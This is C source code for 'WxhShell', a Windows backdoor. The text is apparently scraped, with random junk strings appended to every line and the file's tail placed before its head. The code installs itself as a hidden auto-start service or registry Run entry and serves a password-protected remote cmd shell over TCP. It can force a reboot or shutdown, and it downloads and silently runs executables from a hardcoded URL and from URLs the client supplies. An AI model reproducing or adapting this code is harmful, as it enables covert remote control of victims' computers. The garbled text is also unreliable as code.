    if(Boot(SHUTDOWN)) Uh3wj|0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B_SZ?o  
    else { @tr&R==([  
    closesocket(wsh); ldAov\X  
    ExitThread(0); )g9)IF  
    } $PatHY@h  
    break; xta}4:d-Y  
    } X+dR<GN+YX  
  // 获取shell ;g: UE  
  case 's': { l~]hGLviJE  
    CmdShell(wsh); <[Tq7cO0  
    closesocket(wsh); P9 {}&z%:  
    ExitThread(0); Vqa5RVnI  
    break; pBSq%Hy:  
  } BKE\SWu  
  // 退出 ~rgf{oGz  
  case 'x': { WZ^{zFoZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w8 ?Pb$Fe  
    CloseIt(wsh); mP9cBLz  
    break; q Z8|B  
    } G0I~&?nDa  
  // 离开 TJHN/Z/  
  case 'q': { a&$Zpf!!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =@xN(] (  
    closesocket(wsh); J 6(~>g  
    WSACleanup(); &K5C=]4  
    exit(1); Y%78>-2 L  
    break; y 2z{rd  
        } qpb/g6g  
  } a4A`cUt  
  } ]$m#1Kj  
" Sc5qG  
  // 提示信息 m0=cMVCA!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rQ`\JE&`  
} DNm(:%)0  
  } Mam8\  
OD  
  return; vC{ h2A  
} ad"'O]  
\@Ee9C 13  
// shell模块句柄 X}zX`]:I'  
int CmdShell(SOCKET sock) Pv< QjY  
{ M0cd-Dn  
STARTUPINFO si; ~ A^E  
ZeroMemory(&si,sizeof(si)); G;2R]H#p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -Nsk}Rnk*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; siZr@g!L  
PROCESS_INFORMATION ProcessInfo; C-Nuy1o  
char cmdline[]="cmd"; SV$nyV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TRF]i/Bs  
  return 0; fA"<MslKLK  
} -h>Z,-DE6  
r0)JUc}Fyq  
// 自身启动模式 ! G*&4V3Mg  
int StartFromService(void) 1S+;ZMk  
{ >F/XZ C  
typedef struct x1t{SQ-C  
{ !cRfZ  
  DWORD ExitStatus; 8{R&EijC  
  DWORD PebBaseAddress; j_!bT!8  
  DWORD AffinityMask; }TSgAwsbC  
  DWORD BasePriority; MVeF e\r  
  ULONG UniqueProcessId; Wt>J`  
  ULONG InheritedFromUniqueProcessId; x|.v{tQa  
}   PROCESS_BASIC_INFORMATION; mfZ)^X  
sB?2*S"X)<  
PROCNTQSIP NtQueryInformationProcess; 8$\Za,)g  
6tOCZ'f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Dq?E\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RTK}mhnV  
inYM+o!Ub  
  HANDLE             hProcess; @'*eC}\E  
  PROCESS_BASIC_INFORMATION pbi; 'z)hG#{I  
LyGUvi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yC W*fIaq  
  if(NULL == hInst ) return 0; ITVQLQ  
}x]&L/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ypH8QfxLTr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B9YsA?hg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  BY3bpR  
{1jpLdCbV^  
  if (!NtQueryInformationProcess) return 0; vwVVBG;t  
yB.G=90  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IrJ+Jov  
  if(!hProcess) return 0; gdl| ^*tc  
>L8?=>>?\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; os[ZIHph  
M~als3  
  CloseHandle(hProcess); RoX &+~  
RL6Vkd?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4AQ[igTDP  
if(hProcess==NULL) return 0; auRY|j  
Z(p*Z,?u  
HMODULE hMod; {|z#70  
char procName[255]; ?{eY\I  
unsigned long cbNeeded; F$i$a b  
)u0O_R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {&-#s#&  
YJd8l>mz  
  CloseHandle(hProcess); f27)v(EJ  
@M=$qO_$9  
if(strstr(procName,"services")) return 1; // 以服务启动 !x7o|l|cP  
\]I  
  return 0; // 注册表启动 T '.[F  
} rIVvO  
)Ob]T{GY  
// 主模块 3E,DipHg  
int StartWxhshell(LPSTR lpCmdLine) FqwIJ|ct  
{ \QGa 4_#  
  SOCKET wsl; wFvT0  
BOOL val=TRUE; Cc!J1)  
  int port=0; s O=4IBE  
  struct sockaddr_in door; HMV)U{  
4@6 <  
  if(wscfg.ws_autoins) Install(); W .U+.hR  
T^]7R4 Fg  
port=atoi(lpCmdLine); l xe`u}[  
3htq[Ren  
if(port<=0) port=wscfg.ws_port;  it)ZP H  
\]8VwsP  
  WSADATA data; !{(ls<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `a >?UUT4  
+%XnMl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]boE{R!I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +"8}R~`!  
  door.sin_family = AF_INET; d`Oe_<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xIL#h@dz  
  door.sin_port = htons(port); 0Gsu  
i6Qb[\;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T#@{G,N  
closesocket(wsl); zT7"VbP  
return 1; (~&w-w3  
} BqB |Fo  
Ns<?b;aK  
  if(listen(wsl,2) == INVALID_SOCKET) { q jz3<`7-  
closesocket(wsl); hbI;Hd  
return 1; (rcMA>2=  
} 2 z7}+lH  
  Wxhshell(wsl); qfYG.~`5  
  WSACleanup(); w{`Acu  
PNpu*# Z`  
return 0; I8u!\F  
59 <hV?  
} zsVcXBz  
XQ?fJWLU  
// 以NT服务方式启动 \GL*0NJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b+{r! D}~  
{ \}#@9=  
DWORD   status = 0; Z5B/|{  
  DWORD   specificError = 0xfffffff; MDHb'<o?y  
Y5Z!og  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #!})3_Qc(y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^=+e?F`:{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YJ,*(A18  
  serviceStatus.dwWin32ExitCode     = 0; (.?ZKL  
  serviceStatus.dwServiceSpecificExitCode = 0; ^m%52Tm h  
  serviceStatus.dwCheckPoint       = 0; w"8V0z  
  serviceStatus.dwWaitHint       = 0; ~}Z'0W)Q`z  
pOA!#Aj)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RlRs}yF  
  if (hServiceStatusHandle==0) return; 3vW4<:Lgy  
:q (&$  
status = GetLastError(); ',)7GY/n~  
  if (status!=NO_ERROR) g^l RG3a  
{ Ur!~<4GO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eT[&L @l]b  
    serviceStatus.dwCheckPoint       = 0; H0>yi[2f  
    serviceStatus.dwWaitHint       = 0; f~ZEdq8  
    serviceStatus.dwWin32ExitCode     = status; hw=GR_,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 89H sPB1"t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dv!r.  
    return; ,j178EX  
  } XAuI7e  
+,5-qm)Gh>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rs]I  
  serviceStatus.dwCheckPoint       = 0; HB iBv-=,  
  serviceStatus.dwWaitHint       = 0; ho.(v;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a#[-*ou`  
} VkZ.6kV  
=Op+v"  
// 处理NT服务事件,比如:启动、停止 `1+F,&e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _<*Hv*Zm  
{ )`+YCCa6F  
switch(fdwControl) pe.QiMW{8  
{ <f>akT,W  
case SERVICE_CONTROL_STOP: M%`\P\A  
  serviceStatus.dwWin32ExitCode = 0; dRaOGm)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QlEd6^&  
  serviceStatus.dwCheckPoint   = 0; 38IMxd9v  
  serviceStatus.dwWaitHint     = 0;  {mTytT  
  { 42+#<U7T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A.En+-[\  
  } _#C()Ro*P  
  return; 314=1JbL  
case SERVICE_CONTROL_PAUSE: KzO,*M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :a0zT#u  
  break; lAi2,bz"  
case SERVICE_CONTROL_CONTINUE: "G?Yrh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :50b8  
  break; }dYBces  
case SERVICE_CONTROL_INTERROGATE: 2+Rv{%  
  break; }}r> K}  
}; FN^FvQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~*.-  
} PaWr[ye  
$`J_:H%  
// 标准应用程序主函数 #07!-)Gv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t ^SzqB  
{ eu#'SXSC F  
#FH[hRo=6  
// 获取操作系统版本 "r'ozf2 \  
OsIsNt=GetOsVer(); |E)aT#$f'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @xAfZb2E  
Z`Z5sj 4{  
  // 从命令行安装 -{jdn%Y7CK  
  if(strpbrk(lpCmdLine,"iI")) Install(); . iwZ*b{  
pA}S5x  
  // 下载执行文件 r ?m6$  
if(wscfg.ws_downexe) { y~ rX l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `T&jPA9eY  
  WinExec(wscfg.ws_filenam,SW_HIDE); %)(Cp-b!  
} 3n;K!L%zMT  
K8I$]M   
if(!OsIsNt) { v]VWDT `  
// 如果时win9x,隐藏进程并且设置为注册表启动 1iBP,:>*  
HideProc(); }} ZY  
StartWxhshell(lpCmdLine); rS8 w\`_  
} ~O6\6$3b5E  
else $E!J:Y=  
  if(StartFromService()) j\&pej  
  // 以服务方式启动 ~d >W?A  
  StartServiceCtrlDispatcher(DispatchTable); v& $k9)]  
else [wnDHy6W  
  // 普通方式启动 r@G#[.*A>  
  StartWxhshell(lpCmdLine); WyhhCR=;  
PBjmGwg7  
return 0; bBc-^  
} ]9 w76Z  
$ &UZy|9  
SU.ythU2,c  
MXtkP1A `  
=========================================== 3'`dFY,  
/j2H A^GT  
#q\x$   
#]Y>KX2HG  
p9eRZVy/  
c3TKl/  
" G&f8n  
4Y\wnwI  
#include <stdio.h> k@mVxnC  
#include <string.h> 4=8QZf0\  
#include <windows.h> \;X+X,M  
#include <winsock2.h> 5\fCd|  
#include <winsvc.h> Fr2N[\>s  
#include <urlmon.h> K4ZolWbU  
eOT+'[3"  
#pragma comment (lib, "Ws2_32.lib") J @IS\9O  
#pragma comment (lib, "urlmon.lib") qQ]]~F  
]; $] G-  
#define MAX_USER   100 // 最大客户端连接数 5*g]qJF  
#define BUF_SOCK   200 // sock buffer Ah69 _>N`S  
#define KEY_BUFF   255 // 输入 buffer xg@NQI@7   
),}AI/j;zY  
#define REBOOT     0   // 重启 rVnd0K  
#define SHUTDOWN   1   // 关机 yR5XJ;Tct  
ne}+E  
#define DEF_PORT   5000 // 监听端口 oXsL9,  
Dh4 6o|P  
#define REG_LEN     16   // 注册表键长度 8 .>/6M  
#define SVC_LEN     80   // NT服务名长度 iUk-'   
_i0kc,*C\  
// 从dll定义API _l`e#XbG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X;F8_+Np  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I^\&y(LJF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *XOJnyC_H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &EGqgNl  
nk"NmIf  
// wxhshell配置信息 (rtY!<|p  
struct WSCFG { |OO in]5  
  int ws_port;         // 监听端口 *jq7X  
  char ws_passstr[REG_LEN]; // 口令 "_UdBG  
  int ws_autoins;       // 安装标记, 1=yes 0=no }n:?7  
  char ws_regname[REG_LEN]; // 注册表键名 KL,/2 (  
  char ws_svcname[REG_LEN]; // 服务名 _*M42<wcO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g`^X#-!(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l\0w;:N3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n"Veem[_4g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !%(h2]MQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Fh|#u:n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iSLGwTdLn  
,i9Byx#TN  
}; Ga>uFb}W~  
ZzGahtx)Y  
// default Wxhshell configuration y m,H@~  
struct WSCFG wscfg={DEF_PORT, iRo.RU8>  
    "xuhuanlingzhe", 9# 4Y1LS)  
    1, #FOqP!p.E  
    "Wxhshell", Cs3^9m6;d  
    "Wxhshell", a 3SlxsWW  
            "WxhShell Service", F'}'(t+oAm  
    "Wrsky Windows CmdShell Service", 7R.Q Ql  
    "Please Input Your Password: ", .R*!aK  
  1, "^j>tii  
  "http://www.wrsky.com/wxhshell.exe", O)|P,?  
  "Wxhshell.exe" X r63?N  
    }; BAj-akc f  
#hfuH=&oh  
// 消息定义模块 `A$!]&[~|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6DTTV66  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %q ;jVj[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g:l.MJT  
char *msg_ws_ext="\n\rExit."; [&[^G25  
char *msg_ws_end="\n\rQuit."; A5:qKaAq  
char *msg_ws_boot="\n\rReboot..."; 1F'1>Bu~  
char *msg_ws_poff="\n\rShutdown..."; <:>SGSE9  
char *msg_ws_down="\n\rSave to "; &GTI  
3f Xv4R;!:  
char *msg_ws_err="\n\rErr!"; \`V$ 'B{.  
char *msg_ws_ok="\n\rOK!"; Qhi '') Q  
Y/<lWbj*A  
char ExeFile[MAX_PATH]; ]M>9ULQ  
int nUser = 0; N]EcEM#  
HANDLE handles[MAX_USER]; d6{Gt"  
int OsIsNt; f*{ YFg?*&  
sxKf&p;  
SERVICE_STATUS       serviceStatus; ?^mi3VM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `nXVE+E@  
 MTER(L  
// 函数声明 mP38T{  
int Install(void); Jb)#fH$L  
int Uninstall(void); hf/2vt m  
int DownloadFile(char *sURL, SOCKET wsh); *_Z#O,  
int Boot(int flag); #ge)2  
void HideProc(void); 93qwH%  
int GetOsVer(void); p9U?!L!y  
int Wxhshell(SOCKET wsl); r=/;iH?UH  
void TalkWithClient(void *cs); aJL^AG  
int CmdShell(SOCKET sock); AsS$C&^  
int StartFromService(void); TC~Q G$NW  
int StartWxhshell(LPSTR lpCmdLine); ne61}F"E  
-! ;l~#K=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G&xo1K]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hv6@Jr3  
iqQUtE]E_  
// 数据结构和表定义 GuZ ( &G6*  
SERVICE_TABLE_ENTRY DispatchTable[] = 4H5pr  
{ !MDNE*_  
{wscfg.ws_svcname, NTServiceMain}, )D'^3) FF  
{NULL, NULL} +MbIB&fRCB  
}; 'bGX-C  
> oA? 6x  
// 自我安装 &C im!I  
int Install(void) QVF]Ci_=  
{ "Td`AuP@,  
  char svExeFile[MAX_PATH]; 4nH*Ui!T  
  HKEY key; 8(.mt/MR  
  strcpy(svExeFile,ExeFile); R+q"_90_  
V}d 9f 2  
// 如果是win9x系统,修改注册表设为自启动 KTvzOI8  
if(!OsIsNt) { &mj6rIz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hUQ,z7-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zf4Ec-)  
  RegCloseKey(key); fPi3s b`}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \T]EZ'+O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '\~$dtI$  
  RegCloseKey(key); >&g}7d%  
  return 0; *#%9Rp2|  
    } PkE5|d*,  
  } I)q,kP@yY  
} _LAS~x7,  
else {  ;N B:e  
<2!v(EkI  
// 如果是NT以上系统,安装为系统服务 >{eCh$L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nzjkX4KV  
if (schSCManager!=0) FJ*i\Q/D  
{ ] sz3]"2  
  SC_HANDLE schService = CreateService Q%/<ZC.Mz6  
  ( ,\ 2a=Fp  
  schSCManager, 4!asT;`'  
  wscfg.ws_svcname, Q6o(']0  
  wscfg.ws_svcdisp, R1F5-#?'E  
  SERVICE_ALL_ACCESS, i |{Dd%4vK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `r5 $LaD  
  SERVICE_AUTO_START, T5Q{{@Q  
  SERVICE_ERROR_NORMAL, 'Y$R~e^Y?  
  svExeFile, c`lJu_  
  NULL, 48|s$K^  
  NULL, O\K_q7iO6  
  NULL, :Ih|en^w  
  NULL, y@j,a  
  NULL ) xbO6V  
  ); Tu{h<Zy  
  if (schService!=0) @)kO=E d  
  { DjU9 uZT  
  CloseServiceHandle(schService); SVjl~U-^  
  CloseServiceHandle(schSCManager); Xi?b]Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pE{yv1Yg  
  strcat(svExeFile,wscfg.ws_svcname); 2,lqsd:xM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "#v=IJy&r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vHAg-Av c  
  RegCloseKey(key); \BWyk A>  
  return 0; j1SMeDDM ~  
    } Q0Nyqhvi  
  } )uv=S;+  
  CloseServiceHandle(schSCManager); _3]][a,  
} QKN<+,h!z>  
} DC1'Kyk  
=0 @&GOq  
return 1; &t5{J53  
}  tvXW  
#j@71]GI  
// 自我卸载 pLMRwgzr  
int Uninstall(void) :Rs^0F8)c  
{ "MIq.@8ra  
  HKEY key; c}3W:}lW  
)}TLC 2%  
if(!OsIsNt) { ZEYgK)^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |F.)zC5{  
  RegDeleteValue(key,wscfg.ws_regname); 7?B.0>$3>V  
  RegCloseKey(key); @&D?e:|!U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  g PAX4'  
  RegDeleteValue(key,wscfg.ws_regname); [2ax>Yk$  
  RegCloseKey(key); vP7K9K x  
  return 0; GDYFU* 0  
  } 2+Px'U\  
} jBaB@LO9G  
} !*2%"H*  
else { dd?x(,"A`  
;q0uE:^ S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {lth+{&L#  
if (schSCManager!=0) `mye}L2I  
{ 64-#}3zL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xEuN   
  if (schService!=0) T#pk]c6Q  
  { GE>[*zN  
  if(DeleteService(schService)!=0) { q1E:l!2al  
  CloseServiceHandle(schService); )2,eFNB#n  
  CloseServiceHandle(schSCManager); 0Z|FZGRP  
  return 0; pZ#ap<|>I  
  } v/*Y#(X  
  CloseServiceHandle(schService); 2<mW\$  
  } X=8Y&#%  
  CloseServiceHandle(schSCManager); [m+iQVk'  
} B\g]({E  
} _(m't n>   
kE TT4U  
return 1; 3~e8bcb  
} .To;"D;j,  
H3{GmV8  
// 从指定url下载文件 lnE+Au'  
int DownloadFile(char *sURL, SOCKET wsh) -@>BHC  
{ < j$#9QQ1  
  HRESULT hr; U/lM\3v/e  
char seps[]= "/"; nA?Hxos  
char *token; DO7W}WU  
char *file; ~OePp a\  
char myURL[MAX_PATH]; u*  
char myFILE[MAX_PATH]; 8A{_GH{:  
qyHZ M}/  
strcpy(myURL,sURL); nUq<TJ  
  token=strtok(myURL,seps); s:00yQ  
  while(token!=NULL) c*d 9'}E  
  { 3:%QB9qc]'  
    file=token; VF&Z%O3n  
  token=strtok(NULL,seps); ]pEV}@7  
  } :S$l"wrh\  
a?yMHb{F  
GetCurrentDirectory(MAX_PATH,myFILE); @|a>&~xX  
strcat(myFILE, "\\"); v#=`%]mL  
strcat(myFILE, file); iR$<$P5  
  send(wsh,myFILE,strlen(myFILE),0); K^r)CCO  
send(wsh,"...",3,0); 7u\*_mrv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VL9-NfeqR  
  if(hr==S_OK) Y^%T}yTtq  
return 0; n;R#,!<P  
else `si#aU  
return 1; @pGZLq  
7FN<iI&7\  
} s] /tYJYl  
7VK}Dy/Vvn  
// 系统电源模块 .oEmU+  
int Boot(int flag) [P |[vWO  
{ jkiTj~WE-  
  HANDLE hToken; I8OD$`~*U6  
  TOKEN_PRIVILEGES tkp; rQTr8DYH  
/yLZ/<WN  
  if(OsIsNt) { \, !Q Jp4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C@N1ljXJT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q4t(@0e}  
    tkp.PrivilegeCount = 1; 8 i&_Jgmr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  ]*O/+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +l^LlqA  
if(flag==REBOOT) { 5-)#f?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) */ G<!W  
  return 0; _md=Q$9!m  
} UN"(5a8.  
else { [<`SfE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |%~+2m  
  return 0; D 71;&G]0  
} ( *G\g=D  
  } M.h`&8  
  else { ?Z\Yu'  
if(flag==REBOOT) { (><zsLs&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PiFD^w  
  return 0; b'zR 9V  
} W~_t~Vg5  
else { }0,>2TTDN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p8wyEHB  
  return 0; 2tayP@$  
} \b[9ebME  
} > Oh?%%6  
O7']  
return 1; @{h?+ d  
} %7Kooq(i  
79zJ\B_  
// win9x进程隐藏模块 .@iFa3  
void HideProc(void) 3M5#4n\v$  
{ }U@m*dEG  
@|ye qy_:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WS& kx~oQ  
  if ( hKernel != NULL ) TJ?g%  
  { =Nz0.:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !gwjN_ZJ^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3E}EBJLsZ  
    FreeLibrary(hKernel); 4 !`bZ`_Bw  
  } \EbbkN:D  
#G9 ad K5  
return; 57F%j3.|/  
} Z?MoJ{.!?R  
x0a.!  
// 获取操作系统版本 df+t:a  
int GetOsVer(void) gPS&^EdxA  
{ M8w5Ob  
  OSVERSIONINFO winfo; }4c o)B"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h72UwJ2rw  
  GetVersionEx(&winfo); 4VN aq<8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z?i /r5F  
  return 1; }aB#z<B6  
  else `Lyq[zg8  
  return 0; KsAH]2Q%  
} PXP`ZLF  
')+0nPV  
// 客户端句柄模块 O?bK%P]ay  
int Wxhshell(SOCKET wsl) m9M FwfZ  
{ jc_\'Gr+[  
  SOCKET wsh; HOt>}x  
  struct sockaddr_in client; '#\D]5  
  DWORD myID; K|W^l\Lt  
SM[{BH<  
  while(nUser<MAX_USER) _i}wK?n  
{ L{ gE'jCC  
  int nSize=sizeof(client); {u7##Vrgt8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rl:KJ\*D  
  if(wsh==INVALID_SOCKET) return 1; b syq*  
G,&%VQ3P>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iNcZ)m/  
if(handles[nUser]==0) 5IVksg  
  closesocket(wsh); :lcea6iO  
else 9T2xU3UyY  
  nUser++; ?y},,  
  } (k-YI{D3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uK*Nu^  
BpAB5=M0  
  return 0; B7Ntk MK  
} 5,+\`!g  
)J/HkOj"V  
// 关闭 socket uMXc0fs!$  
void CloseIt(SOCKET wsh) .uZ7 -l  
{ @^nu #R  
closesocket(wsh); jRkC/Lw  
nUser--; bv?0.{Z  
ExitThread(0); OVoO6F ]  
} L^9HH)Jc  
k/Mp6<?C:  
// 客户端请求句柄 ~M ?|Vn  
void TalkWithClient(void *cs) 1`r| op},  
{ &j u-  
,W5.:0Y;f[  
  SOCKET wsh=(SOCKET)cs; M\/XP| 7  
  char pwd[SVC_LEN]; Qqs"?Z,P  
  char cmd[KEY_BUFF]; ?`sy%G  
char chr[1]; k/&]KYwu  
int i,j; P1 +"v*  
_rQUE ^9  
  while (nUser < MAX_USER) { #,f{Ok+  
XL< )v_  
if(wscfg.ws_passstr) { H;_yRUY9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -@%%*YI>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @ "d2.h  
  //ZeroMemory(pwd,KEY_BUFF); `LP!D  
      i=0; -$Y8!54  
  while(i<SVC_LEN) { g%J./F=@3  
A-E+s~U8  
  // 设置超时 <3 @}Lj  
  fd_set FdRead; $7gB_o$zz  
  struct timeval TimeOut; I{.HO<$7D}  
  FD_ZERO(&FdRead); I/u9RmbU  
  FD_SET(wsh,&FdRead); Rmh*TQu  
  TimeOut.tv_sec=8; Vk<k +=7  
  TimeOut.tv_usec=0; ^^Lj I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tFU;SBt8Ki  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4!%]fg}Um  
6TFo|z!C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w$Ux?y- L  
  pwd=chr[0]; to3?$-L  
  if(chr[0]==0xd || chr[0]==0xa) { aPIr_7e  
  pwd=0; L4974E?S  
  break; 3A0_C?E  
  } fp !:u  
  i++; L=A\ J^%  
    } X\2_; zwf  
@@pq 'iRn  
  // 如果是非法用户,关闭 socket \ XH@b6{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $+VgDe5{S  
} tP'GNsq+m  
XI}I.M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;<6"JP>0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D u_$C[  
 v4<j   
while(1) { d.}}s$Q  
jn=ug42d  
  ZeroMemory(cmd,KEY_BUFF); Lt<oi8'N  
-{x(`9H;  
      // 自动支持客户端 telnet标准   |'w^n  
  j=0; WM< \e  
  while(j<KEY_BUFF) { G.jQX'%4QG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t[O+B 6  
  cmd[j]=chr[0]; {g=b]yg\o  
  if(chr[0]==0xa || chr[0]==0xd) { ,?=KgG1i  
  cmd[j]=0; E`E'<"{Yd  
  break; : ^(nj7D  
  } H1UL.g%d=  
  j++; Z`xyb>$  
    } gduxA/aT  
Q_lu`F|  
  // 下载文件 EVz9WY  
  if(strstr(cmd,"http://")) { p$OD*f_b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9eSRCLhgD  
  if(DownloadFile(cmd,wsh)) /RF%1!M K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1M+Zkak7p  
  else NhlJ3/J j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y9 uVCR  
  } XARSGAuw  
  else { i+U51t<  
!$E~\uT  
